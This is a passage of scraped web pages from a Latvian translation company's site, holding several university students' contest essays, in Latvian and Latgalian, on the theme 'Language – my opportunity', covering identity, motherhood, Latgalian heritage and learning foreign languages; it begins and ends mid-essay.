Diplomu saņēmusi, nemaz nešaubījos par savu turpmāko virzienu. Liepājas vēju pluinīta, nokļuvu Rakstniecības studijās. Nav jābīstas no pārmaiņām, jo tās ir auglīga augsne izaugsmei. Manī bija pārgājusi vēlme uzlūkot tekstu, pašai paliekot ēnas pusē. Arī man ir ko teikt! Kā jau katrs rakstnieks, es gribu pastāstīt par savu bērnību, par savu neesošo tēti un vasarām zem liepas. Es gribu skaļi kliegt par pāridarījumiem un čukstēt par vientulību. Es gribu izlīt uz papīra kā ievainots dzīvnieks, nekautrējoties par asinīm, kas šķaidītas ar asarām. Vai es būtu pārtikušāka, veiksmīgāka un ietekmīgāka, ja būtu izvēlējusies kļūt par ārsti vai juristi? Jā, iespējams. Vai es būtu guvusi tik pat lielu piepildījumu, ja sekotu sabiedrībā valdošajam uzskatam, ka literatūra ir tikai necila brīvā laika pavadīšanas iespēja? Nē, jo valoda ir mana iespēja veikt revolūciju pie sava rakstāmgalda. Citas konkursa esejas --- - Published: 2023-04-11 - Modified: 2023-11-21 - URL: https://skrivanek.lv/elizabetes-klavas-eseja/ - Kategorijas: Eseju konkurss - Translation Priorities: Optional Autors: Elizabete Kļava, Liepājas Universitāte ESEJA “VALODA – MANA IESPĒJA! ” Valoda ir neierobežoti skaista. Tā ir ceļš uz draudzību, uz mīlestību un reizēm arī uz naidu, tomēr kas būtu pasaule bez valodas? Kas būtu Latvija bez valodas? Vai mēs spētu mīlēt? Vai mēs spētu dzīvot bez tās? Cik jautājumu man būtu jāuzdod, lai es uz tiem atbildētu? Lai saņemtu atbildi? Vai tomēr tie ir tikai retoriski? Vai valoda ir mana iespēja? Ralfs Voldo Emersons reiz teicis, ka valoda ir pilsēta, kuras uzcelšanā ikviens cilvēks iemūrējis savu akmeni, un es domāju, ka ikviens no mums varētu tam piekrist, pamatojoties uz Raiņa teikto, ka ir katram roka jāpieliek, lai lielais darbs uz priekšu iet. Valoda ir liels un smags cilvēku darbs, kas, lai arī gana grūti darāms, rezultējas ar mīlošu saimi, kas, savā starpā sazinoties, izjūt vienīgi lepnumu un laimi. Mana valoda ir latviešu valoda un tā būs tik ilgi, cik mēs, latvieši, būsim. Tik ilgi, cik mēs tajā runāsim un sazināsimies, smiesimies un arīdzan skumsim. Taču ar valodas esamību vien nepietiek, lai valoda ziedētu. Latviešu valodas augsne ir auglīga, tā ir iespēju pilna, kas arī nozīmē, ka tajā viegli iemitinās dažādas nezāles, piemēram, anglismu un rusismu veidolā, kas pēc iespējas ātrāk ir ar visdziļākajām saknēm jāizrauj, lai mūsu valodai būtu vairāk zemes, kurā uzplaukt un ziedēt visā tās pilnībā. Valodas kopšana sākas ar ikvienu no mums, ir jāapzinās tās vērtība – tā dod iespēju pilnvērtīgi sazināties, sazinoties veidot draudzības, un draudzējoties iemācīties mīlēt. Valoda ir salīdzināma ar puķu dārzu, un tas ir mūsu pašu ziņā, vai pieļaujam, lai tas izžūst un kļūst tārpu sagrauzts, vai rada vidi, kas pievilina pie dzīvības turošas bites, kuru zuzēšana liek ausīm smaidīt. Es nevēlos pieļaut, ka neizkoptas valodas dēļ nākamajām paaudzēm nebūtu iespējams pastāstīt, kas ir draudzība vai mīlestība. Viņiem ir jāzina, cik neierobežoti skaista un kopta var būt valoda, kurā atzīties mīlestībā. Vai mēs spētu pateikt ’’es mīlu Tevi’’ ārpus šo trīs vārdu robežām, ja mūsu valoda nebūtu tik bagāta, kādu to padarījuši visi mīlētāji pirms mums? Valoda ir mūsu iespēja dzīvot dzīvi. Bez tās mēs nejustu, neprastu paust un neprastu arī dot. Vai tā ir zīmju valoda, mākslīgā valoda, literārā valoda, mīlestības valoda – tam vairs nav nozīmes, jo tas, ka mēs caur valodu sazināmies, nozīmē to, ka dzīvojam. Un tas, ka mēs dzīvojam, nozīmē to, ka varam būt. Laimīgi. Skaista un kopta valoda ir mūsu iespēja audzināt bērnus, mazbērnus un mazmazbērnus skaistā un koptā valstī. Audzināt viņus, mīlot un lolojot. Valoda man ir devusi milzīgu bagātību, ar ko lepoties katram garāmgājējam, kas satikts, ceļojot, katram balodim, kas virs manas galvas priecājas par savu esamību. Valoda ir mans lepnums, kurā es varu dziedāt, es varu runāt, mīlēt, domāt un visādi citādi būt. Es mīlu valodu, to kopju un par to rūpējos, tādējādi padarot to izmantojamu tiem, kas dzīvos pēc manis. Valoda ir mana iespēja būt. Citas konkursa esejas --- - Published: 2023-04-11 - Modified: 2024-07-05 - URL: https://skrivanek.lv/ulrikas-upes-eseja/ - Kategorijas: Eseju konkurss - Translation Priorities: Optional Autors: Ulrika Ūpe, Liepājas Universitāte ESEJA “VALODA – MANA IESPĒJA! ” Turpat 100 gadus Latvijā ieviestas svinības par godu sievietēm mātēm. Tradīcija, kas nākusi no Rietumeiropas, kopš 1932. gada, katru maija otro svētdienu, modina ar mātes vārdu uz lūpām. Meklējot šī vārda izcelsmi, nonācu pie secinājuma, ka tas sevī glabā kā aizsākumus,tā arī spēku, tostarp dievišķu un dziedniecisku, tomēr neviļus nākas jautāt – vai māte nav izsmeļams dabas resurss sabiedrībā, kas arvien biežāk izvēlas klausīties tikai savā atbalsī? Par spīti tam, ka šobrīd aktualizējies vārda “bezbērnība” lietojums, Mātes diena ir svētki, kas skar ikvienu, jo līdzās “bērnu trūkumam” tiek plaši runāts par iekšējo bērnu, kas dzīvo katrā pieaugušajā. Māte ir aizsākums, lai arī līdzi ne vienmēr tiek iedota ceļa maize. Vai tā ir laikmeta iezīme? Vai pieaugot nepieciešams uzņemties rūpes pašam par savu iekšējo bērnu? Būt par savas mīlestības avota aizgādni, attīrīt to no akmeņiem, lai pārtaptu upē ar virzību un straumi. Cik ilgstpējīgs ir šāds sevi lolojošs “projekts”? Cik ilgi sabiedrība, kas aicina bērnu izauklēt istabā, gaidīs, ka mātes pleci ir pakāpiens, kamēr viņas acis – gaisma? Pārtraucot retoriku par ūdens glāzes pasniegšanu vecumdienās, vēlos pievērsties, kam daudz būtiskākam. K. Karulis raksta, ka vārds “māte” var būt aizgūts no kaimiņtautu valodām, tomēr ņemot vērā jebkura mazbērna pirmās runas iemaņas, vārds “mamma” dabiski varēja izveidoties pašā latviešu valodā. Cik sirdi sildoša doma – kad caur mazo muti veļas vārds “mamma”, tā pirmsākums meklējams pašā cilvēkā, kurš nes kā vārdu, tā jaunu balsi! Balsi, bez kuras mums nav ne valodas, ne kultūras – ir tikai stagnējošs purvs, kurš burbuļo pats sevī. Nereti māte ir cilvēks, kam caur asarām, sviedriem un asinīm, uzticēts veidot pasauli kā pašsaprotamu bioloģisku programmu, turklāt to ieteicams paveikt klusējot un plašāk pasmaidot. Varbūt tieši tādēļ Mātes diena ir tik saldsērīga – dēļ sajūtas, ka nepietiek resursu – ne tikai iekšpus, cenšoties noskriet dažādus maratonus reizē, mēģinot atbilst arvien mainīgajiem standartiem bērnkopībā, kur izplūdušais lomu sadalījums ģimenē liek izvērtēt laulības institūciju,bet arī ārpus ­– rūpējoties par citu gaidām? Kā aizdegta svece caurvējos stāv sieviete, kuras asaras negribam redzēt, kuras stāstus negribam dzirdēt. Sirdi skrāpē izmestas “esi pateicīga” frāzes, dzemdību namu stūros sēcošā vardarbība un restorānos noķertie svilinošie skatieni... Nemaz neaptverot līdzās esošo karu, kurā melna bezmute neskaita, kur melna bezmute nenojauš, ko nozīmē radīt dzīvību. Statistika nonivelē to vienu - to katru, kas ir neaizstājams, to katru, ar kuru beidzamies arī mēs. Latviešu folklorā mātēm atvēlēta īpaša vieta arī kā dievībām. To, šķiet, spilgti iezīmē bērnībā lasītā pasaka par Sprīdīti, kas satiek Vēja māti un Meža māti. Varbūt dabas klēpis var sniegt to mierinājumu, ko nespēj cilvēks? Tikai, kā mēs par to rūpējamies? Vai Zemeslodei pietiek ar Zemes stundu vai Mātei pietiek ar Mātes dienu? Kam jānotiek, lai mēs kā čūskas nomestu to ādu, kas domā tikai par sevi? Vārdam “māte” ir dažādi sinonīmi – dzīvības devēja, māmaļiņa, turpat arī apvidvārdi - mātēns, mātuža, arī bērnīdze (bērniem bagāta māte). Barbarismi – mutere un muterīte. Arī slikta māte jeb nemāte un vēl. Tas viss sadzīvo vienuviet – arī “nemāte” – kuru, rotaļāties ar valodu, vērts ieraudzīt plašāk – kā to sievietes daļu, bez kuras māte nemaz nevar sākties, jo sākumā ir nemāte – personība, kas realizējas ārpus bērnkopības. Vēl vairāk, domāju, ka jāizvērtē veidi, kā spējam integrēt “nemāti” mātes lomā un kā spējam integrēt mātes lomu katrs sevī, neatkarīgi no savu bioloģisko bērnu skaita, sava vecuma vai dzimuma, veicinot to jauno balsu rašanos, kas runā mūsu valodā. Kursīte, J. (2009). Tautlietu vārdene. Rīga: Nemateriālā kultūras mantojuma valsts aģentūra. 559 lpp. Karulis, K. (1992). Latviešu etimoloģijas vārdnīca. Rīga: Avots. 638. lpp. Ozols, J. (2006). Tematiskā sinonīmu vārdnīca. Rīga: Annele, 238 lpp. Citas konkursa esejas --- - Published: 2023-04-11 - Modified: 2023-11-21 - URL: https://skrivanek.lv/evikas-muiznieces-eseja/ - Kategorijas: Eseju konkurss - Translation Priorities: Optional Autors: Evika Muizniece, Rēzeknes Tehnoloģiju akadēmija ESEJA “VALODA – MANA IESPĒJA! ” Es esmu netulkojama vienība, netulkojama ir mana latviskā dzīvesziņa ar tautasdziesmām, kapusvētkiem un Saules laikriti. Es dzīvoju PaSaulei pasaulē, kura par šķietamu mērķi izvirzījusi dažādā un citādā pieņemšanu, ar otru roku mēģinot visus nolīdzināt pēc vienādiem principiem vai sadalot mazākās interešu pārvaldības grupās. Bet latviskajā dzīvesziņā katra dvēsele nāk pasaulē balta, tīra no grēka un bez vajadzības iederēties; ar labu nodomu, ko vairot caur savu labās gribas darbu, izprotot sevi kā pasaules daļu. Un tajā brīdī, kad doma galvā tiek pateikta skaļi vārda ietvarā, mēs sevi materializējam. Un jo precīzāka šī izpausme ir, jo precīzāk mēs saņemam atpakaļ to, ko manifestējam. Vīrs un vārds. Mēs vienmēr esam dzīvojuši konvenciju, kodu, simbolu un abriviatūru pasaulē, kur gandrīz viss pakļaujas pieredzes, vides un individuālā rakstura interpretācijai. Valoda ir sarežģītākais konvencionālais kods, kas joprojām eksistē vairāk kā 7000 variācijās visā pasaulē. Kods, kuru izprotot, mēs kļūstam arī par kultūras nesējiem, pratējiem un sapratējiem, jo tieši valoda nes sevī dziļāku izpratni par tautas vērtībām un pasaules uztveri - kultūras simboli, frazeoloģija, netulkojamie vārdi un to savienojumi - vienības, kas norāda uz cilvēces brīnišķo dažādību kultūru un valodu kontekstā. Kad runājies ar Pakistānas pamatiedzīvotājiem, kas uzauguši Karačā ar 22 miljonu cilvēku populāciju, tiem ieplešas acis, uzzinot, ka kaut kur eksistē tāda nācija kā latvieši - mazāk kā divu miljonu cilvēku pārstāvniecībā, bet ar divām valodas tradīcijām, abas no kurām ir dzīvas un pelnījušas būt, ja jau tik ilgus gadus pratušas pašsaglabāties un attīstīties mūsu tautas apziņā. Es vienmēr esmu ar godu saukusi sevi par latvieti un latgalieti, bet diemžēl, dzīvojot savā valstī, kurā esmu pamatnācijas pārstāve, ar savu latgaliešu valodu nokļūstu minoritātes statusā, kas liek aizvien uzdot jautājumu - ar kādu mērķi mēs pastāvam kā nācija un ko ar šādu attieksmi gribam parādīt pasaulei? Valoda ir primārais kods, kurā mēs iemācāmies aprakstīt sevi un pasauli sev apkārt, kurā formulējam savas vēlmes un vajadzības, kurā mācāmies mīlēt un piedot. Kā justies piederīgai valstij, kur mans latgaliskais latviskums nevienam nav vajadzīgs? Kur manam novadam tipiskā valodas laušana tiek uztverta kā nevēlams akcents darbam medijos? Kur joprojām likumdošanas līmenī tiek kultivēti stereotipi par Latgali kā par zemāk izglītotu un ekonomiski mazāk attīstītu perifēriju? Kur nevar saprast mani, jo nevar saprast manu primāro latgalisko pasaules skatījumu? Jā, valoda ir mana iespēja dalīties ar prātā jūkošo patērētāju pasauli ar latvisko dzīvesziņu un tās pamatvērtībām - ne sunīti kājām spert, ne guntiņas pagalīti. Latviešu garamantu sematisko slāņu pētniecība un izpratne ir mūsu tautas meditācija, ietērpta jau gatavos vārdos, mantra, ko skaitīt sev, nemeklējot sevi jogas pozā Indijas vidienē. Mums viss jau ir, un viss jau ir mūsu valodā. Bet nepietiek tikai ar to, ka valoda faktiski pastāv, nepietiek ar gramatikas likumu pārzināšanu vai Raiņa dzimšanas gadu iekalšanu no galvas, lai valoda varētu būt pašpietiekama - tajā ir jādzīvo. Grybūt voi nagrybūt, mes navaram izdziest nu seve tū kuļturys kodu, kū myusūs īlīk sevkura volūda, kū zynom. Manī ir koč kas nu krīvu dzetkys, latvīšu tautumeitys i latgalīšu buobys. I tikai kuļturys kontekstā kotrs nu itim vuordim atrūd pareizū interpretaceji. Latvīšu i latgalīšu volūda ir muna īspieja izprast pasauli i sevi. Bet taipoš latvīšu i latgalīšu volūda ir muns īrūbežojūšais faktors, grybūt byut pasauļa pilsūņam. Latgalīšu volūda ir muns īrūbežojūšais faktors, grybūt byut latvīšam Latvejā. Es cīš grybātom ticēt, ka latvīšu i latgalīšu volūdys dzeivuos myužam, tok juos zaudej pozicejis jau tān lelūs pasauļa volūdu prīškā deļ tam, ka mes volūdu uztveram kai komunikacejis formu, na dali nu seve i sovys etniskuos byuteibys. Izkūpta volūda īškeji sakūptā cylvākā ar teiru nūdūmu ir vīneiguo obeju volūdu pastuoviešonys vareiba, kab mes nu latvīšim i latgalīšim ar taisnu muguru i susātivi napuorsavieršam par staigojūšim, sevi nazynūšim nabašnīkim ar putekļainim pakrieslim aiz mugorys. Tok iudiņs sleipej akmini, na ūtraižuok. Vuiceisimēs redzēt, na tik vērtīs i dzierdēt, na klauseitīs. Pyrma kotrs, tod vysi sūpluok. Lec pati meitiņa No ratiem ārā, Negaidi tautieti Izceļam. /L. tdz. / Citas konkursa esejas --- - Published: 2023-04-11 - Modified: 2023-11-21 - URL: https://skrivanek.lv/signijas-igaunes-eseja/ - Kategorijas: Eseju konkurss - Translation Priorities: Optional Autors: Signija Igaune, Rēzeknes Tehnoloģiju akadēmija ESEJA “VOLŪDA – MUNA ĪSPIEJA” Burts. Vuords. Frāzja. Teikums. Ryndkūpa. Teksts. Gruomota. Tīši taida ķiedeitja veidojās nu mozumeņa– suokūt ar burtu i izaugūt par vuordu byrumu. I itys vuordu byrums veidoj maņ cīši eipašū volūdu – munys vacuos māmys i vacuo tāva, munys māmys i tāva, i munu dzymtū volūdu – latgalīšu volūdu. Muna volūda – tei jer muna atslāga ar kuru atvārtj durovys iz jaunim apvuoršņim sjau i cytim. I tīši ite jer muna īspieja izteikt tū, kū es dūmoju par sovu volūdu i vysu tū izstuostjāt jiusim tīši latgaļiski. . Latgalīšu volūda jer muna īspieja justīs vysbreivuok i izateiktīs vysskaistuok. Tei maņi pavoda kūpš dzimšonys – suokūt ar sarunom ar babeņi, kas mīsim nūteik tikai latgaliski, čalom i rūtaļom ar kaimiņu bārnim pogolmā i turpynojūt ar jebkuru jaunū paziņu, kuru dzierdi runojūt latgaliski - i Riezekņī, i Reigā i cytuos Latvejis vītuos, koč kur izdzierdūt kaidu runojam latgaļiski, tys tok leist kei mads gar ausim, izraiz taids syltumeņš dvieseļai – o, sovejīs! Patīseibā as navaru īzadūmuotīs sovu ikdīnu bez latgalīšu volūdys, jū tei leluokūtīs jer muna sarunvolūda, tei mani pavoda ik iz sūļa, dažaidūs nūtykumus, ja na runojūt, tod klausūtīs, a ja na klausūtīs, tod rokstūt. . Lai arī latgaliskums maņī jer jau nu pošys dzimšonys, rakstjāt latgaliski as tikai muocūs, i tei otkol jer muna īspieja – īzamuocjāt pareizu latgalīšu volūdys raksteibu i tod jau snīgtīs vjāļ pēc jaunim izaicynojumim, ar kurīm puorsteigt cytus. Maņ golvā īt cīši daudz īspieju, kurys saistuos ar volūdu, principā leluokejā daļī nu pīdzeivuotuo, īsaistī jer volūda, jū kū gon mes spātu bez volūdys, bez pīdereibys tai. Mes navarātu ņi sazaprast, ņi komuņicāt sovā storpā. . Da, varbyut jius saceisit: “Bet latvīšu volūdu Tu tok saprūti i cyti arī. . ” Zynu i taisneiba viņ jer, bet itys ir sovaiduok. Kei nūzeimeiguokū as uzskotu tīši tū, ka maņ jer īspieja zynuot latgalīšu volūdu, runot tymā ar sovim latgalīšim, saprast tū, zynuot tuos interesantūs vuordus i nest tū tuoļuok nu paaudzis paaudzī. As asu pateiceiga sovim vacuokim i vacvacuokim, ka jī muocā maņ latgaliskū i as grybu lai arī muni bārni zyna, saprūt i runoj latgalīšu volūdā, jū vīneigi turpynojūt nūdūt tū nokamīm, mes varam paturāt tū i naizskaust nu asūšuo. Arī turpmuokejā dzeivī latgalīšu volūda maņ bīs kei dziniejs, kas turpynuos maņ ruodāt ceļi iz nazynamū, jaunū i pīdzeivojumim bogotū. As ceru, ka tuos nūzeime tikai augs i paaugstynuosīs arī jaunū latgalīšu skaits – vacuoki arī turpmuok sovim bārnim muocās latgalīšu volūdu, lai tuos saknis nazyud. Tys ir byutiski kotram latgalīšam. As cīši grybātu struoduotj Latgalī i maņ byus prīks munā dorbā satikt latgalīšus i arī runuot ar jīm myusu kūpeigejā volūdā, jū sova volūda - tei nūteikti jer vysvīnkuoršuokuo, patīsuokuo i ikvīnam eipašuokuo, tymā var izteikt naizsokomys ļītys. Kaut kod dzeivis laikā maņ grybātus izdarjāt kaidu sovu pīnasumu latgalīšu volūdai i kultūrai, maņ grybātūs, lai as īvistu koč kū, kas drupeit paplašynuotu kulturys dzeivi. Tai runoj, ka pasokūt skaļi tū, kū cīši gribīs, pīzapylduos, i maņ taids kuodreiziejs sapyns byutu vīna Boņuka (latgalīšu kulturys goda bolva) vārts, varbyut kuodraiz maņ tys izadūs. . Meiļuot, cīņāt, stīpt garumā, pļiest plošumā i viļkt dziļumā sovu volūdu, šū vierteibu nu paaudžom paaudžos! Muna volūda - tei jer īspieja, kas ruoda pamatu munai patīsejai byuteibai i tam, kas jer maņ vysapkuort, tei jer ļīta, kas vīnoj i styprynoj saikni ar sovejīm – asi vīns nu mīsim i nes latgaliskū vysā pasauļī, jū tikai mes kūpeigi sazadūdūt rūkuos par sovu volūdu, i ruodūt tū cytim, varam saglobuotj i attīstātj tuos eseibu. Tei ir volūda, kas nas puorpasauļeigu viestejumu! Varbyut arī Tjau byutu vārts tū paskateit, kū soki? Citas konkursa esejas --- - Published: 2023-04-11 - Modified: 2023-11-21 - URL: https://skrivanek.lv/aleksandras-gailites-eseja/ - Kategorijas: Eseju konkurss - Translation Priorities: Optional Autors: Aleksandra Gailīte, Rīgas Stradiņa universitāte ESEJA “VALODA – MANA IESPĒJA! ” Nereti, domājot par valodām, kas sniedz iespējas, vispirms iedomājamies par tādām linguae francae kā, piemēram, angļu un franču valoda. Tās ir skaistas, plašas valodas, kuras iespējams dzirdēt teju katrā pasaules malā. Lielu valodu pārvaldīšana sniedz iespēju vieglāk iekļauties lielās cilvēku kopienās, atrast un pārmeklēt plašus informācijas apjomus, mācīties, ceļot... Ieguvumu saraksts ir garš un zināms katram, kurš jebkad apguvis kādu pasaulē plaši lietotu valodu. Mūsdienās, kad tik populāra kļuvusi angļu valodas lietošana, nav noslēpums, ka tā nereti iespraucas arī mazajās pasaules valodās sliktu tulkojumu un savādu teikumu konstrukciju veidā. Tomēr šeit jāsaka: lai arī cik racionāli noderīga ir lielo valodu apguve un ērta to lietošana, mēs nedrīkstam ļaut tām aizņemt latviešu valodas vietu zem Saules, jo cilvēkiem, kas runā latviski, pieder kaut kas īpašs. Mums pieder valoda ar īpatnēju skaņu un unikālu garšu, jo runāt latviski nozīmē izgaršot katru vārda burtu, šur tur pagarinot, brīžiem mīkstinot, reizēm apraujot kādu galotni. Latviešu valodas skanējumu, visticamāk, neatpazīs visapkārt pasaulei, un tādējādi tā nebūs atslēga, kas derēs vairākām durvīm. Tomēr tieši tādēļ mūsu valoda ir ekskluzīva, lai arī pašiem latviešiem šis fakts reizēm paslīd garām nepamanīts. Domājams, ka esam tik ļoti pieraduši, ka mums ir sava valoda, kuru lietojam ikdienā, ka aizmirstam – tā patiešām ir ļoti unikāla. Tik unikāla, ka pārstāv pati savu, nelielu atzaru indoeiropiešu valodu saimē, pie kura no mūsdienās lietotām valodām pieder vēl tikai lietuviešu valoda. Tāpēc spēt runāt, rakstīt, lasīt un klausīties latviski – plašākā mērogā tā ir iespēja būt daļai no nelielas, īpašas šīs valodas nesēju saimes, kuru vieno Latvijas pludmaļu baltās smiltis, mežu smarža pēc lietus un vasaras saulgriežu ugunskuri. Manā ikdienā latviešu valoda ir iespēja Latvijā justies kā savējai – viegli kafejnīcā pasūtīt rīta kafiju, saprast, ko saka pa skaļruni autobusā un neapjukt pūļa murdoņā. Valoda, tāpat kā tās pratēji, ir daudzdimensionāla, tādēļ iespējas, ko man ir sniegusi latviešu valoda, ir mainījušās laika gaitā, kļūstot pieaugušākai. Uzsākot skolas gaitas, latviešu valoda man bija kā līdz galam neizpētīts instruments, kura precīzu lietošanu nepieciešams apgūt. Pakāpeniski es sāku latviešu valodu uztvert kā draugu un rūpējos, lai manis lietotā valoda vienmēr būtu precīza un izkopta, piedalījos konkursos un olimpiādēs. Laikam ritot, arvien vairāk sāku apzināties, ka latviešu valoda ir latvietības neatņemama daļa un sāku ar to lepoties. Šodien, kad esmu studente, latviešu valoda ir mana galvenā izaugsmes valoda. To izmantoju kā iesaistoties diskusijās ar kursabiedriem, ģimeni un kolēģiem, tā rakstot studiju darbus un pētot latviski pieejamos informācijas nesējus. Latviešu valodā es domāju, un tā iet roku rokā ar apziņu par valsti, kurā dzīvoju un latvisko dzīvesziņu. Tā ir bijusi arī lielisks pamats vairāku svešvalodu apguvei. Uzskatu, ka kopumā latviešu valoda kopā ar dzīvi Latvijā paver ārkārtīgi interesantu perspektīvu uz apkārtējo pasauli, jo, nākot no salīdzinoši nelielas nācijas, ir jāprot gūt zināšanas par plašumu mums apkārt, tajā pašā laikā nezaudējot savu latvisko identitāti. Tāpēc šobrīd apzinos, ka dzimtā valoda ir mans logs uz pasauli visapkārt un pamats zem kājām. Un, lai arī kur pasaulē mani aizvedīs dzīves līkloči, mana sirds vienmēr sāks pukstēt straujāk, ārzemēs sadzirdot latviešu valodas pazīstamo skanējumu un sastopot citus tās pratējus, tepat mājās dziedot līdzi Latvijas himnai vai sajūtot spēku, kāds piemīt lielajam korim Dziesmu un Deju svētkos, kad tas zem klajas debess dzied “Saule, Pērkons, Daugava”. Citas konkursa esejas --- - Published: 2023-04-11 - Modified: 2023-11-21 - URL: https://skrivanek.lv/jekaterinas-lapickas-eseja/ - Kategorijas: Eseju konkurss - Translation Priorities: Optional Autors: Jekaterina Lapicka, Rīgas Stradiņa universitāte ESEJA “VALODA – MANA IESPĒJA! ” Jau no agras bērnības mēs dzirdam apkārt cilvēku runu, mūsu vecāki runā dzimtā valodā, svešinieki sabiedriskās vietās runā valodās, kas nav saprotamas mūsu jaunajam prātam. Mēs strauji augam, attīstāmies un gribam izzināt pasauli. Valoda veido mūsu identitāti, nosaka piederību kādai sociālai grupai, tā glabā pagātnes noslēpumus, tautas paražas un tradīcijas, regulē mūsu uzvedību, domāšanu un dzīvesveidu. Valoda- tā ir mūsu iespēja dzīvot labāko dzīvi un atvērt jaunas robežas! Es piedzimu krieviski runājošā ģimenē un no skolas laikiem mācījos latviešu un angļu valodu. Dzimtā valoda deva man iespēju iepazīties ar krievu klasiķu darbiem, apmeklēt teātri un baudīt izrādes. Tā apvieno cilvēkus un man ir prieks par to, ka es varu runāt krievu valodā ne tikai ģimenē, bet arī sabiedrībā. Cik forši ir saprast, ka blakus stāvošs cilvēks pārzina tavu dzimto valodu un tas uzreiz mazliet satuvina cilvēkus. Latviešu valoda liecina par manu identitāti, tās zināšanas dod man iespēju iegūt izglītību valsts iestādēs, sarunāties ar draugiem un kursabiedriem, iesaistīties kultūras pasākumos. Esmu lepna būt par latviešu tautas un nācijas pārstāvi un uzskatu, ka valoda ir jāaizstāv un jāsargā, jo tā ir mūsu valsts vērtība. Starptautiskās valodas, īpaši angļu, deva man iespēju ceļot pa pasauli un brīvi sarunāties ar citas valsts iedzīvotājiem, iepazīties ar to kultūru un tradīcijām, uzzināt jaunu informāciju tieši no pirmavota- cilvēka. Verbālā komunikācija ir ļoti nozīmīga mūsdienu tehnoloģiju ērā, ir svarīgi dalīties ar emocijām un pašizpausties. Manā nākotnes profesijā (sabiedrības veselības speciālists) neiztikt bez angļu valodas, lielākā daļa informācijas avotu, kas ir nepieciešami pētījumiem, ir angļu valodā. Ar angļu valodas palīdzību nākotnē es varu veidot noderīgus kontaktus, iepazīties ar kolēģiem no citām valstīm un sadarboties ar tiem. Skolā es arī mācījos vācu valodu, universitātē- latīņu valodu, kuras zināšanas obligāti noderēs veselības jomā. Tagad mans mērķis ir iemācīties franču valodu un nākotnē strādāt Beļģijā. Neviens nezina, kā pagriezīsies mūsu dzīve, bet es ieteicu jums sekot savām vēlmēm un ticēt, ka papildu zināšanas nekad nebūs liekas, jo tās mūs attīsta kā personību. Es esmu radošs un daudzpusīgs cilvēks, kam patīk nodarboties ar mūziku. Es domāju, ka mūziku var uzskatīt par valodu, kas ir saprotama visiem. Mākslai tulkošana nav vajadzīga. Mūzika dod mums iespēju atslābināties, atbrīvot savu dvēseli no sāpēm un pārdzīvojumiem. Mūzika attīra mūsu dvēseli un neprasa neko pretī. Nobeigumā, es gribu pateikt, ka mums ir tikai viena dzīve, kurai tieši TU esi valdnieks. Visas mums dotās iespējas jāizmanto uz visiem simts procentiem. Nekad neko nebaidieties, speriet soli pretī jaunam un interesantam, vairāk kontaktējieties dzīvē un mācieties jaunas valodas, jo valodu zināšanas atver pasaules durvis! Citas konkursa esejas --- - Published: 2023-04-11 - Modified: 2023-11-21 - URL: https://skrivanek.lv/jelizavetas-merkulovas-eseja/ - Kategorijas: Eseju konkurss - Translation Priorities: Optional Autors: Jeļizaveta Merkulova, Rīgas Stradiņa universitāte ESEJA “VALODA – MANA IESPĒJA! ” Mūsdienu pasaulē bieži dzirdu frāzi, ka jāmācās angļu valoda, jo tā ir vispopulārākā valoda pasaulē. Protams, ja cilveks labi prot runāt angliski, tas tiešām dod lielākas iespējas iegūt izglītību ārzemēs, piemēram. Taču diemžēl neviens nesaka, ka jāzina sava dzimtā valoda. Vai tas nav vērtīgi? Man liekas, ka valodas zināšanas ir vairāk nekā tikai runāšana. Tas ir kaut kas lielāks. Svarīgi zināt, kas tu esi. Tevi veido ne tikai tavi paradumi, uzskati, manieres un izglītība, bet arī vieta, kur tu esi dzimis. Lai kā ļaudis to mēģinātu noliegt, nacionālā kultūra viņus ļoti ietekmē, tāpēc manā skatījumā valodas zināšanas ir pilnīga iedziļināšanās vēsturē un folklorā. Atceros, kad latviešu valodas stundās skatījāmies J. Streiča melodrāmu pēc J. Kliedzēja romāna “Cilvēka bērns” motīviem. Šī spēlfilma ir stāsts par mazā zēna Boņuka pieaugšanu, kur atmosfēra bija tik silta un tik bezrūpīga, ka es pati neviļus atcerējos savu bērnību, kas vasarā pavadīta laukos. Taču tā ļoti precīzi attēloja latgaliešu ikdienas sadzīvi. Latgaliešu valoda likās neparasta, bet es esmu pārliecināta, ka, ja šī filma būtu latviešu valodā, tā neatstātu īsto iespaidu. Valoda raksturo cilvēku. Starp citu, kvalitatīvas valodas zināšanas atspoguļo cilvēka intelektu. Es uzskatu, ka plašs redzesloks un izglītotība ir galvenās atslēgas, kas ļauj personai atrast sabiedrību, kurā viņa vēlas būt. Pēc manām domām, “pāreja” no vienas cilvēku kastas uz otru tiek veikta vēriena un intelekta dēļ. Zinoši, zinātkāri un gudri cilvēki vienmēr piesaista sev un atstāj labu iespaidu, jo prot sevi prezentēt un iesaistīties vispusīgā sarunā. Viņiem palīdz viņu valoda. Kas var ietekmēt valodu? Filmas, dziesmas, grāmatas. Mans favorīts ir literatūra, jo tā īpaši bagātina vārdu krājumu. Runājot ar cilvēku, uzreiz var redzēt, vai persona lasa, vai nelasa. Runas īpašības atspoguļojas vārdos, kurus tu izmanto, haotiskās vai skaidrās domās, kuras izteic. Ne tikai jārunā, svarīgi ir tas, kā tu runā. Balss un lietotā valoda ir tas, kas ļauj vienam cilvēkam pārliecināt otru. Interesantākais ir tas, ka izprast cilvēkus, manuprāt, ir iespējams tad, ja tu pārzini viņu kultūras valodu. Vismaz tu vari parunāt ar vietējiem iedzīvotājiem, iepazīties un veidot sakarus. Pateicoties tam, ka es zinu latviešu valodu, es varu būt daļa no tautas, jo valoda veido mani. Tā padara mani par to, kas es esmu. Es varu dalīties ar citām tautām un caur valodu nodot latviešu tautas garu, stāstot par mitoloģiju, tradīcijām, folkloru, pazīstamākajām dainām, lai cilvēki iegūtu priekšstatu par mūsu valsti. Valoda ļauj atvērt sirdi šai pasaulei un dzīvot. Valoda mani piepilda, es kļūstu izglītotāka. Labi zinot savu dzimto valodu, varu iemācīties citu valodu, jo vienreiz jau esmu to izdarījusi, un izdarīšu vēl. Valoda dod iepēju risināt konfliktus, argumentēt savu viedokli profesionālā vidē. Vai to var veiksmīgi darīt, izmantojot tikai vienkāršus teikumus? Droši vien, ka nē, jo valodas apguve ir nepārtraukts process. Zināt dzimto valodu ar dievu uz pusēm nozīmē, ka cilvēkam ir pavirša attieksme gan pret savu kultūru, gan pret sevi. Kā teicis Jānis Endzelīns: “Katras tautas lielākais dārgums ir tās valoda, bez kuras nacionālās kultūras izveidošana nav domājama. ” Tas pierāda, ka pastāv bezgalīgs loks, kurā cilvēki veido valodu, bet valoda veido cilvēkus. Pats svarīgākais šajā pasaulē panākumu sacensību plūsmā ir nepazaudēt sevi un savas vērtības. Valoda nekad neļaus to izdarīt, jo tu vienmēr 